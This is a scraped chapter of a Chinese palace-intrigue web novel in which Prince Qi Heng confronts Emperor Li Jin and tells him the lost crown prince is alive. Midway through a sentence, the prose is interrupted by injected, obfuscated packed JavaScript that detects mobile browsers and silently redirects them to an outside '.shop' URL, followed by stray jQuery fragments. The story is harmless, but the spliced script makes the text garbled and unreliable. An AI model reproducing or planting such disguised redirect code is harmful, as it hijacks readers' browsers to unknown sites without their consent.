文趣网 > 其他小说 > 侯门寡妇摆摊养娃日常 > 20. 第 20 章
    入夜,残月如钩。

    紫宸殿外灯火阑珊,寒鸦戚戚地叫着,叫得祁珩心烦不已,两侧太阳穴突突地疼。

    内侍康福贵手持宫灯在殿外候着,见他来了,连忙躬身上前,笑着问安:“郡王您可算来了,陛下刚才还在跟奴才念叨着您呢。”

    “念叨我?”祁珩斜睨了他一眼,冷笑道:“咱们的好陛下怕不是又收了什么弹劾我的折子,气得跳脚罢。否则他这个点儿叫我来,还能有什么好事不成?”

    康福贵只好讪讪地干笑两声,“虽然陛下从不明说,可奴才最清楚,他心里其实是很关心郡王的。”

    “呵。”祁珩忍不住翻了个白眼,冷哼一声,不再理他。他沿着汉白玉阶砖拾级而上,大喇喇地走进殿内。

    宫人们见他来了,全都屏气凝神,小心翼翼地接过他的斗篷,为他卷起帷幔。康福贵朝他们使了几个眼色,众人便悄无声息地退下。

    殿内同外面一般昏暗,只有御案前点了两盏小灯,两摞高高的奏折后,景和帝李谨正专注地批阅着一份折子,听见脚步声,他头也不抬地问了一句:“来了?”

    祁珩没说话,更没有请安,只插着手站在原地,打量着自己这个姐夫。

    两月不见,他似乎鬓角又添了些许白发。他看起来很瘦,腰背因长期的伏案有些佝偻,眼下有着明显的青痕,时不时地发出几声压抑的低咳。

    任谁也难以想象,眼前这个看上去中年沧桑的男人,其实才三十出头。

    祁珩难受地皱了皱眉,开口却是嫌弃:“你现在这个样子,若是阿姊看了,会作何感想?”

    在纸上游走的朱笔顿了顿,李谨抬眼,望着他,眼里没有任何波澜,平静地道:“瑶儿若在世,会怎么看,朕不知道。但朕知道,朕乃天子,担负着天下的重任,自当鞠躬尽瘁,死而后已。”

    “自作聪明。”祁珩冷声道,语气十分不屑。

    李谨却没有生气,反而关切地问:“含贞,你这两个月不见,又干什么去了?”

    祁珩笑道:“臣一个闲散郡王,身上又无一官半职,去哪里去干什么,都是臣的自由,似乎用不着和陛下禀报吧?”

    “混账!”李谨再好的耐性也终于忍不了了,他啪地一声摔掉朱笔,怒道:“你非要这样夹枪带棒地同朕说话吗?!”

    “那该如何呢?”祁珩耸了耸肩,笑意更甚,“陛下若是受不了,大可一声令下处死臣。反正阿姊活着的时候所托非人,现在一个人在下头也孤独,臣正好可以去陪她。”

    “你,你,你!好!你非要把朕气死是吗?”

    李谨脸色涨得紫红,剧烈地咳嗽起来。半晌后,他扶着御案支撑着身体,将手边的几份奏折打开,朝祁珩扔去。

    “你自己看看,这两日御史台向朕递了多少弹劾你的折子!在青楼和人厮混,千金包下花魁整夜,整日沉迷酒色……现在在朕面前也是,吊儿郎当,厚颜无耻。”

    李谨看着他,痛心疾首,语气更是恨铁不成钢:“祁含贞那祁含贞,你瞧瞧你现在,成了一副什么德行?哪还有当初那个胸藏万卷,笔落惊风雨的少年郎模样!”

    祁珩充耳不闻,拾起地上的奏折,一本一本地翻过,然后敛了笑意,定定地看着李谨,轻声道:“我成了什么样,还不是全拜陛下所赐?”

    李谨怒道:“你还赖朕了?若不是你姐姐去世后,朕封了你一个永宁郡王,让你享份俸禄,我看你现在还拿什么挥霍?你如今这样,让朕如何对得起瑶儿?”

    祁珩看着眼前这位无能狂怒的九五之尊,眼里最后一点温度也冷了下去。

    他很想问李谨,当年姐姐刚生产完,在宫里孤立无援的时候他在哪儿?太子失踪这么多年他又在干什么?现在反倒好意思拿他的姐姐来说话了。

    但他没有问,这么多年了,他早就看清了这个男人的虚伪和自私。

    见他这次没有说话,李谨的怒意也消了三分,他顺了顺气儿道:

    “罢了,那些弹劾你的折子朕已经全给他们打回去了。朕今晚叫你来,不是想在这儿指责你这些的。”

    他顿了顿,语重心长地说:“朕今日偶然得到了一个消息,说你上午跟苏家的人一起去了家茶行。朕必须提醒你,苏家这滩水,可不是你能碰的。离他们远一点儿,别掺和进去。”

    “陛下的消息挺灵通啊,要是在别的事情上也有这么灵通就好了。”

    祁珩讥讽地看着他,凛然道:“陛下可知道,我这么大费周折地接近苏家是为了什么?”

    “你什么意思?”李谨脸色变了,瞳孔不自觉地睁大。

    祁珩勾了勾唇,眼里带着几分同情,一字一句道:“那我就告诉你吧,太子其实还活着。”

    李谨震住了。

    他不敢相信自己的耳朵,甚至一瞬间屏蔽掉了周遭的一切。

    他只能看见祁珩的嘴唇在动,那口型说的好像是“太子”。

    “你说什么?”李谨疯了一样地过来,抓住祁珩的肩,问道,“钰儿还活着?朕的孩子还活着?”

    “嗯,活着。”祁珩淡淡地道,面无表情地审视着他。

    再次得到确定的答案,李谨激动得大笑,笑着笑着,又落下泪来。

    当年他派遣内侍冯忠带着太子离京实乃无奈之举。

    那是他继承帝位后的第四年,朝中积弊已久,世家门阀盘根错节,如蠹虫般伏在帝国的枝干上啃噬吸血。他急于证明自己,忙着打压世家的同时,却不想得到了燕王企图谋逆的消息。

    燕王乃先帝第五子,又是太后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636632|205229||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    所出,比起他这个早早失去了母妃、身体孱弱的太子,更受先帝宠爱与朝中旧派老臣的支持。

    偏偏又在这个节骨眼儿上,一场重病拖倒了他。彼时瑶儿早已去世,太子尚在襁褓中,面对燕王党羽的虎视眈眈和自己的分身乏术,他只能让太子暂时离京避险。然而这一去却再没回来过。

    这几年他几乎无时无刻不在想念着这个他和瑶儿唯一的骨肉。

    后来他的几个孩子相继夭折,他觉得那是老天对他辜负瑶儿又送走钰儿的惩罚。

    如今得知这孩子还活着,他感激涕零,几乎连话都说不出来。

    半晌后,李谨稍微平复了心情,这才问祁珩:“含贞,快告诉朕,他在哪儿?朕要见他!”

    祁珩将他的全部反应看在眼里,反问道:“见他,你配吗?”

    说着他嘲弄地笑了,“当年那个情形下,你让冯忠带着那孩子离开,我无话可说。可后来呢,他们杳无音信后,你有让人去找过吗?”

    “朕找过!”李谨近乎疯狂地抓着祁珩的肩,吼道,“朕怎么没让人沿着他们的轨迹找过!但冯忠死了!”

    “你有没有尽全力去找你自己心里清楚。”祁珩也大笑起来,激动道,“你选择的是选秀,是纳妃,要不是你后来那两个儿子夭折,你还要另立太子!这就是你说的找过!”

    他的话如同钢锥一下一下地砸进李谨心里,针针刺骨,疼得他再也说不出话。

    他一下子跌坐在冰凉的地上,背靠御案,抚着胸口,哀声道:“含贞,你还在怪朕吗?”

    “没错。”祁珩大口地喘着气,眼尾通红,定定地看着他,“我曾经说过,陛下您或许可以有很多个孩子,但我只有这一个小外甥。”

    接着他用很轻很轻的声音道出对这个男人而言最恶毒的话:

    “所以就算陛下杀了我,我也不会告诉你的,因为你不配见他。”

    祁珩说完,头也不回地转身离开。

    他终于替阿姊、替灏儿报复了李谨,但他却没有一丝一毫赢了的快意。

    相反,他走得极快,连小跑的康福贵和殿外的侍卫都没能追上他。他以为这样便能抵消掉心中的难受,可眼泪还是沾湿了袖口与衣襟。

    他看见李谨案上批不完的奏折,他看见李谨那不属于他这个年纪的沧桑面容,他比谁都清楚,大翊能有今天的繁盛,是靠他日日夜夜,殚精竭虑而来的。

    他确实是个好皇帝。

    但也正因如此,他才永远无法原谅,他对阿姊的疏忽,和对灏儿的放弃。

    祁珩吸了吸鼻子,放慢脚步,行走在宫道上,随手从旁边的花坛里掐了一朵花,置于鼻尖,馥郁芬芳,沁人心脾。

    是阿姊从前最喜欢的兰花,现在在宫里种的到处都是。